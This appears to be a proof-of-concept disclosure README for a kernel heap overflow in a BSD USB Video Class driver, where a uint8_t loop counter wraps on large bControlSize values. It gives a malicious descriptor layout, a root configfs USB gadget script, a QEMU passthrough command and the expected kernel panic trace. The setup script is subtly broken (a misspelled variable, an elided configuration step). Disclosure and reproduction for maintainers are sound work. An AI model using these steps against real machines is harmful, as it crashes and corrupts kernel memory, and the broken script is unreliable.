# DF-1046 PoC — UVC bControlSize uint8_t wrap → unbounded heap overflow

## Trigger

A malicious USB Video Class device descriptor with `bControlSize >= 32` in
its Processing Unit (PU), Camera Terminal (CT), or Extension Unit (XU)
descriptor. The kernel's `uvc_ctrl_init_dev` declares its bitmap-scan loop
counter as `uint8_t`, so the loop wraps 255→0 and never terminates when
`bCtrlSize * 8 > 255`. Each wrap writes another full `struct uvc_control`
entry past the kmalloc'd array, corrupting adjacent kernel heap until the
kernel page-faults.

## Malicious Processing Unit descriptor (minimal)

| Field              | Offset | Value | Meaning                                                  |
|--------------------|--------|-------|----------------------------------------------------------|
| bLength            | 0      | 0xFF  | 255 (satisfies bLength >= ctrls_mask_size + 9)           |
| bDescriptorType    | 1      | 0x24  | CS_INTERFACE                                             |
| bDescriptorSubtype | 2      | 0x05  | UDESCSUB_VC_PROCESSING_UNIT                              |
| bUnitID            | 3      | 0x02  | arbitrary, must be unique within VC interface            |
| bSourceID          | 4      | 0x01  | references Camera Terminal (or any other entity)         |
| wMaxMultiplier     | 5..6   | 0x00  | not used                                                 |
| bControlSize       | 7      | 0x20  | **32 — THE TRIGGER** (>= 32 causes uint8_t wrap)         |
| bmControls[0..31]  | 8..39  | 0x01, 0x00 × 31 | bit 0 set (Brightness), rest zero              |
| bmVideoStandards   | 40     | 0x00  | not used                                                 |
| pad                | 41..   | 0x00  | fill to reach bLength=255                                |

The descriptor must be embedded in a valid UVC VideoControl interface with
at least one Camera Terminal and one Input Terminal so topology construction
succeeds. The Linux `configfs` USB gadget subsystem is the most convenient
way to deliver it.

## Build a USB gadget on a Linux host (configfs)

```sh
#!/bin/sh
# Run as root on a Linux host with dwc2/dummy_hcd or a real USB controller
# in gadget mode.
MOD=gadget-zero-df1046
GADGET=/sys/kernel/config/usb_gadget/$MOD

mkdir -p $GADGET
echo 0x1d6b > $GADGET/idVendor      # Linux Foundation
echo 0x0104 > $GADGET/idProduct     # Multifunction Composite Gadget
echo 0x0100 > $GADGET/bcdDevice
echo 0x0200 > $GADGET/bcdUSB

mkdir -p $GADPT/strings/0x409
echo "DF1046" > $GADGET/strings/0x409/serialnumber
echo "DFPoC"  > $GADGET/strings/0x409/manufacturer
echo "MaliciousUVC" > $GADGET/strings/0x409/product

mkdir -p $GADGET/configs/c.1/strings/0x409
echo "Config 1" > $GADGET/configs/c.1/strings/0x409/configuration

# Build the UVC function — most fields are the kernel UVC gadget defaults,
# but the Processing Unit bmControls mask must be expanded to 32 bytes with
# at least one bit set.  Linux's uvc-gadget configfs exposes this via
# functions/uvc.0/control/header/h/bmControls when extended.
# (For a minimal PoC we patch the gadget's descriptor table at runtime; a
# real maintainer reproduction can also use a custom GreatFET/Rubber Ducky
# device that emits the raw descriptor bytes above.)

mkdir -p $GADGET/functions/uvc.0
# ... configure Processing Unit with bControlSize=32 ...

ln -s $GADGET/functions/uvc.0 $GADGET/configs/c.1/

# Bind to a UDC
UDC=$(ls /sys/class/udc | head -1)
echo "$UDC" > $GADGET/UDC
```

For a self-contained PoC, use a **GreatFET One** or ** facedancer** with the
byte stream above. The 256-byte descriptor payload is in
`malicious_uvc_descriptor.bin` in this directory.

## Run under QEMU

```sh
# Boot a DFly guest, pass the host gadget through.
qemu-system-x86_64 -enable-kvm -m 1G \
    -device usb-host,vendorid=0x1d6b,productid=0x0104 \
    -drive file=dragonfly.img,format=raw
```

Or with the GreatFET plugged into the host, just `usb-host` its real VID/PID.

## Expected output

```
uvc0: <Malicious UVC camera> at usbus0
uvc0:  Processing Unit: bControlSize=32 bmControls=0x01...
Fatal trap 12: page fault while in kernel mode
fault virtual address   = 0x<address past topo_node->controls allocation>
cpuid = 0; apic id = 00000000
Trace:
uvc_ctrl_init_dev() at uvc_ctrls.c:973      (ctrl++ past end)
uvc_drv_attach() at uvc_drv.c:...
device_probe_and_attach() at subr_bus.c:...
...
```

## Static verification fallback

If hardware/QEMU is impractical, both of these are static-verification
wins:

1. Confirm `uvc_ctrl_count_control` at `uvc_ctrls.c:902` uses `int i`.
2. Confirm `uvc_ctrl_init_dev` at `uvc_ctrls.c:925` uses `uint8_t i`.
3. Confirm the loop at `uvc_ctrls.c:964` is `for (i = 0; i < bCtrlSize * 8; i++)`.

The type mismatch is the bug; `bCtrlSize * 8` can reach 245*8=1960, far
beyond `uint8_t`'s range.

## Kernel references

- `sys/bus/u4b/uvc/uvc_ctrls.c:899-915` — `uvc_ctrl_count_control` (correct, uses `int i`)
- `sys/bus/u4b/uvc/uvc_ctrls.c:917-978` — `uvc_ctrl_init_dev` (wrong, uses `uint8_t i`)
- `sys/bus/u4b/uvc/uvc_ctrls.c:925` — `uint8_t i = 0;` (THE BUG)
- `sys/bus/u4b/uvc/uvc_ctrls.c:964` — `for (i = 0; i < bCtrlSize * 8; i++)` (wrap)
- `sys/bus/u4b/uvc/uvc_ctrls.c:968-973` — the OOB write (ctrl->...; ctrl++)
- `sys/bus/u4b/uvc/uvc_drv.c:2288-2289` — attacker-controlled bControlSize
